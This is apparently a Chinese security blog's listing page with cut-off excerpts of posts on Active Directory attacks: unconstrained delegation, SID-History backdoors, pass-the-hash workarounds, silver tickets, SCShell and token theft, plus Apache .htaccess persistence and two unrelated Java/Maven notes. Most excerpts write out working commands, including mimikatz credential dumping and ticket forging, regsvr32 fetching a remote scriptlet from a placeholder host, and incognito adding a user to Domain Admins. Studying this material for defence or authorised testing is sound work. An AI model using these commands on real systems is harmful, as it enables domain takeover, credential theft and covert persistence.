Windows AD Lateral-Movement      2020-01-04

非约束性委派

攻击简介

该方法主要利用域控上的 printerbug 强制访问我们伪造的非约束性委派计算机从而获取TGT进行提权。适用于域内提权,前提条件时需要获取域内非约束性委派账号。

查找非约束委派账户

1.通过LDAP导出内容查找

该账号可能是计算机账户或者域用户账户,但是必须是服务账号,因此域用户需要通过setspn -U -A test/test domain-user注册服务。具体可以通过LDAP筛选 userAccountControl 属性包含 ADS_UF_TRUSTED_FOR_DELEGATION 标志,具体可以查看:

  1. SCRIPT = 1, // 0x1
  2. ACCOUNTDISABLE = 2, // 0x2
  3. HOMEDIR_REQUIRED = 8, // 0x8
  4. LOCKOUT = 16, // 0x10
  5. PASSWD_NOTREQD = 32, // 0x20
  6. PASSWD_CANT_CHANGE = 64, // 0x40
  7. ENCRYPTED_TEXT_PASSWORD_ALLOWED = 128, // 0x80
  8. TEMP_DUPLICATE_ACCOUNT = 256, // 0x100
  9. NORMAL_ACCOUNT = 512, // 0x200
  10. INTERDOMAIN_TRUST_ACCOUNT = 2048, // 0x800
  11. WORKSTATION_TRUST_ACCOUNT = 4096, // 0x1000
  12. SERVER_
Java Jsp Maven      2020-01-02

Maven 主要用于项目构建,管理jar包下载等。

1.pom.xml

pom.xml主要描述了项目的maven坐标,依赖关系,开发者需要遵循的规则,缺陷管理系统,组织和licenses,以及其他所有的项目相关因素,是项目级别的配置文件。

  1. <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  2. xsi:schemaLocation="http://maven.apache.org/POM/4.0.0http://maven.apache.org/xsd/maven-4.0.0.xsd">
  3. <!-- 模型版本,maven2.0必须是这样写 -->
  4. <modelVersion>4.0.0</modelVersion>
  5. <!-- 公司或组织的唯一标志,并且配置时生成的路径也是由此生成, 如com.winner.trade,maven会将该项目打成的jar包放本地路径:/com/winner/trade -->
  6. <groupId>com.winner.trade</groupId>
  7. <!-- 本项目的唯一ID,一个groupId下面可能多个项目,就是靠artifactId来区分的 -->
  8. <artifactId>trade-core</artifactId>
  9. <!-- 本项目目前所处的版本号 -->
  10. <version>1.0.0-SNAPSHOT</version>
  11. <!-- 打包的机制,如pom,jar, maven-plugin, ejb, war, ear, rar, par,默认为jar -->
  12. <packaging>jar</packaging>
  13. <!-- 定义本项目的依赖关系 -->
  14. <dependencies>
  15. <!-- 每个dependency都对应这一个jar包 -->
  16. <dependency>
Java Jsp      2020-01-02

一. web.xml

1.env-entry:定义变量

  1. <web-app>
  2. ...
  3. <env-entry>
  4. <env-entry-name>test-entry</env-entry-name>
  5. <env-entry-type>java.lang.String</env-entry-type>
  6. <env-entry-value>test</env-entry-value>
  7. </env-entry>
  8. ...
  9. </<web-app>

2.filter:过滤器用于过滤Java Web应用程序的功能,在访问资源前拦截来自客户端的请求

  1. <filter>
  2. <description></description>
  3. <display-name>GuruFilter</display-name>
  4. <filter-name>GuruFilter</filter-name> # 应用外部文件中的GuruFilter类
  5. <filter-class>demotest.GuruFilter</filter-class> # 具体的外部文件路径
  6. <init-param>
  7. <param-name>guru-param</param-name> # 类中申请获取的参数名
  8. <param-value>This is guru paramter</param-value>
  9. </init-param>
  10. </filter>
  11. <filter-mapping>
  12. <filter-name>GuruFilter</filter-name>
  13. <url-pattern>/GuruFilter</url-pattern> # 将/GuruFilter路径映射到GuruFilter类
  14. </filter-mapping>

3.context-param:该元素用来声明整个应用范围内的上下文初始化参数

  1. <context-param>
  2. <param-name>contextConfigLocation</param-name>
  3. <param-value>contextConfigLocationValu
Windows AD Persistence      2019-12-22

一、SID History属性介绍

        

        每个用户帐号都有一个关联的安全标识符(简称SID),SID用于跟踪安全主体在访问资源时的帐户与访问权限。为了支持AD牵移,微软设计了SID History属性,SID History允许另一个帐户的访问被有效的克隆到另一个帐户。

 

二、利用前提条件

       

        1. 当前域与其他域有信任关系,例如当前域与domain1.com和domian2.com存在双向信任

        2. 开启SID History,与其中任意一个林开启SID History信任,即可使用下面的方法

netdom trust  /d:domain1.com current.com /enablesidhistory:yes

 

三、同一域内的持久化利用

        

        SID History可以在同一个域中工作,即DomainA 中的常规用户帐户可以包含 DomainA SID,假如这个DomainA SID是一个特权帐户或组,那就可以在不作为域管 理员成员的情况下授予常规用户域管理员权限,相当于一个后门。

        * 普通的域用户user,已经获得其账号明文或者hash,并且该账号密码永不过期

 

        * 将域管理员的SID赋值给普通域用户user,Mimikatz执行如下:

privilege::debug
sid::query /sam:user # 查看用户信息,如:SID
sid::patch
sid::add /sam:user /new:S-1-5-21-2056922362-3943291772-3165935835-500  # RID 500 默认域管理员账号
sid::clear /sam:user # 清除SID History

 

PS:如果在执行 sid::patch 或者 sid::add 的过程中出现如下错误,则需要开启SID History(参考二)

 

        * 利用user账号(明文&hash)进行测试:

 

四、同一域树下的提权利用方式(Golden Ticket+SID History)

        

        对于同一个域树中的父子域来说,如果获得子域中的高权限用户,就可以修改将该用户的SID赋予企业管理员权限,这样对于父域来说该用户也是高权限

Windows Lateral-Movement Pth Ptk      2019-12-14

        在最近的pth使用中发现常常会出现如下的错误:


当时怀疑与使用的用户权限或者与目标的系统补丁有关,特地查了下资料,总结如下。



一、Pth是不是漏洞?

        微软官方不承认这是一个漏洞,只是NTLM验证过程中的缺陷,这就意味着在所有的系统上均可以利用。在本地试验了下,打全补丁仍然可以Pth成功。谈到Pth经常会说到一个补丁编号:KB2871997,该补丁主要是禁用Wdigest Auth强制系统的内存保存明文口令。由HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest下的UseLogonCredential 值决定,当UseLogonCredential 为1时,WDigest会保存凭据到内存中,为0时,不会保存(当不存在该键时,默认为0)。并且在Windows 8.1和 Server 2012 R2 + 默认集成。

        所以出现该问题(rpc_s_access_denied)的原因只可能是用户权限的问题。


二、Pth 利用限制

    1. 在利用非 Administrator 用户的本地管理员凭证Pth,返回 Access is Denied 之类的错误,跟遇到的错误一样

PS:本地管理员用户 smb_login 没有判断出来Administrator ???

 

    2. 但是域管账号可以正常使用,不受影响

       

        对于上述的现象,该文章[1] 中有很好的总结:对于任何非RID 500的本地管理员(Administrator)连接到WIndows Vista+的计算机,无论是采用WMI、PSexec还是其他方法,使用的令牌都是"已经过滤过的"(即中等令牌)。当使用上述命令进行链接的时候会显示Access is Denied。


三、Pth 限制突破

    1. 修改目标注册表

        如果已经拿下的目标系统权限,抓取hash,可以修改目标标注册表配置,使其本地管理员组的成员都能远程连接(WMI、PSexec),作为持久化的一种手段。

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFi
Windows AD Persistence      2019-12-04
一、简述         除了krbtgt服务帐号外,域控上还有个可利用的账户:目录服务还原模式(DSRM)账户,这个密码是在DC安装的时候设置的,所以一般不会被修改。但是微软对DSRM帐号进行了限制,只允许在控制台登录。可以通过修改注册表的方式,将如下注册表键值: HKLM\System\CurrentContr
Apache Persistece PHP      2019-11-30

一、Apache 与 PHP 的交互方式

    1. CGI 模式

        当动态请求到达,Apache启动一个临时的cgi解释器(可以在配置文件中人为指定处理的cgi脚本),当cgi脚本运行结束后,将结果返回给Apache,然后cgi解释器进程自我销毁。当多个动态请求到达时,将先后启动多个cgi解释器。所以这种方法效率极低。

    2. Module 模式

        Apache在启动的时候直接加载php_module,php-cgi常驻Apache进程里,请求到达时,不用成生成cgi解释器,而是直接将动态请求转发给它内部php-cgi。

    3. FastCGI 模式

        FastCGI是CGI的管理工具,该模式下可以实现php-cgi和Apache的分离,并运行在不同的服务器上,通过开启一定数量的CGI进程池,减少Web服务器与CGI程序之间互动的开销,从而使服务器可以同时处理更多的网页请求。PHP-FPM(FastCGI Process Manager)是用来辅助mode_fastcgi模式的fastcgi管理器,相比FastCGI静态的唤起cgi,fpm能根据访问的压力动态的唤起cgi进程和销毁以到达动态的调整cgi数量。



二、Apache 开启.htaccess 配置

        需要Apache 保证.htaccess文件所在目录配置 AllowOverride all 或者 AllowOverride Options FileInfo


三、CGI 模式利用

    1. 修改Apache 配置文件,开启 CGI 模式

LoadModule cgi_module modules/mod_cgi.so

    2. 修改 .htaccess 内容

Options ExecCGI # 允许CGI执行
AddHandler cgi-script .xx # 将xx后缀名的文件,当做CGI程序进行解析

    3. 访问 poc.xx 触发命令执行

#!C:/Windows/System32/cmd.exe /c start calc.exe
1


四、Module 模式利用

    1. 修改Apache 配置文件,开启Module 模式,引入 php.so

    2. PHP 包含其他文件

    (1)修改 php.ini 向所有php文件的头或尾包含其

Windows AD Persistence Pth      2019-11-28

一、利用基础

        在知道目标机器的NTLM hash域SID的基础上,可以伪造任意用户访问目标机器上的服务。其过程不会与KDC通信,因此不会再KDC上留下任何痕迹,只会在目标机器和本机留下日志。可以利用的服务如下:

服务注释服务名称
WMIHOST&RPCSS
Powershell RemoteingHOST&HTTP
WinRMHOST&HTTP
Scheduled TasksHOST
LDAP、DCSyncLDAP
Windows File Share(CIFS)CIFS
Windows Remote Server Administration ToolsRPCSS&LDAP&CIFS

 

 

二、白银票据伪造

    1. 需要事先导出目标机器的服务Hash,利用的工具很多,这里用mimikatz演示

mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" 

 

 

    2. 利用mimikatz进行白银票据伪造并直接注入到内存

mimikatz "kerberos::golden /user:any-user /domain:domain.com /sid:S-1-5-21-2056922362-3943291772-3165935835 /target:dc-01.domain.com /rc4:cd76662d4420b930cce605b6edab46a1 /service:cifs /ptt" "exit" 

参数说明:

 

/domain:域的完整名称,如:lab.adsecurity.org
/sid:域SID,如:S-1-5-21-1473643419-774954089-2222329127
/user:域用户名,白银票据可以是任意用户,可以不存在
/service:指定服务类型,如:host、cifs、http、rpcss、ldap等
/groups(可选):用户所属的组RID,指定用户权限
/ticket(可选):指定一个路径保存票据
/ptt(可选):将申请的票据直接注入内存
/id(可选):用户RID,Mimikatz默认值是500(默认管理员帐户RID)
/endin(可选):票据有效时间,Mimikatz默认值是10年,Active Directory默认Kerberos策略设置
tools Lateral-Movement      2019-11-27

一、简单介绍

        SCShell是无文件横向移动工具,它依赖ChangeServiceConfigA来运行命令。该工具的优点在于它不会针对SMB执行身份验证。一切都通过DCERPC执行。无需创建服务,而只需通过ChangeServiceConfigAAPI 远程打开服务并修改二进制路径名即可(所以要事先知道目标上的服务名称)。支持py和exe两种文件类型。


二、安装使用

        1. Windows 使用

SCShell.exe target service payload domain username password
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrastor Password # XblAuthManager 是 Xbox Accessory Management Service的服务名

 

        2. Linux 安装使用

pip install impacket
git clone https://github.com/Mr-Un1k0d3r/SCShell
cd https://github.com/Mr-Un1k0d3r/SCShell
python scshell.py ./administrator:cxzcxz@192.168.52.133 # 执行cmd模式,没有命令回显
python scshell.py DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecce # hash验证


三、日志痕迹

        使用用户凭证连接会在目标日志系统留下用户名、来访机器IP和服务超时等信息





Windows Lateral-Movement      2019-11-26

一、访问令牌的定义

        描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后, 都会生成一个Access Token,这个Token在用户创建进程或者线程时会被使用,不断的拷贝,这也就解释了A用户创建一个进程而该进程没有B用户的权限。一般用户双击运行一个进程都会拷贝explorer.exe的Access Token。访问令牌分为:

        * 授权令牌(Delegation token):交互式会话登陆(例:本地用户登陆、用户桌面等)
        * 模拟令牌(Impersonation token):非交互式登陆(例:net use 访问共享文件)

        两种token只有在系统重启后才会清除;授权令牌在用户注销后,该令牌会变为模拟令牌依旧有效。


二、令牌盗用

        修改进程的SID为已注销但未清除的用户的SID(Security Identifiers,安全标识符,唯一的字符串,它可以代表一个账户、一个用户 组、或者是一次登录),使进程拥有与用户相同的权限。因此可以通过盗用模拟令牌的方式来进行提权、降权和横向渗透等


三、工具利用

    1. Incognito.exe

incognito.exe list_tokens -u # 查看本地可用的token       
incognito.exe -h IP|IP_list.txt -u administrator -p Password1 -g list_tokens -u # 通过IPC远程列举tokens
incognito.exe execute -c "NT AUTHORITY\SYSTEM" xx.exe # 以指定token执行命令
incognito.exe -f hosts.txt -u administrator -p Password -n 20 add_group_user -h dc1.corp.target.net "Domain Admins" test # 指定远程登录的账号试图登录并列举所hosts.txt里主机所有的token,将test用户加入到域管理员组
incognito.exe execute "domain\administrator" "cmd" # 指定域用户执行命令
incognito.exe -h x.x.x.x -u ad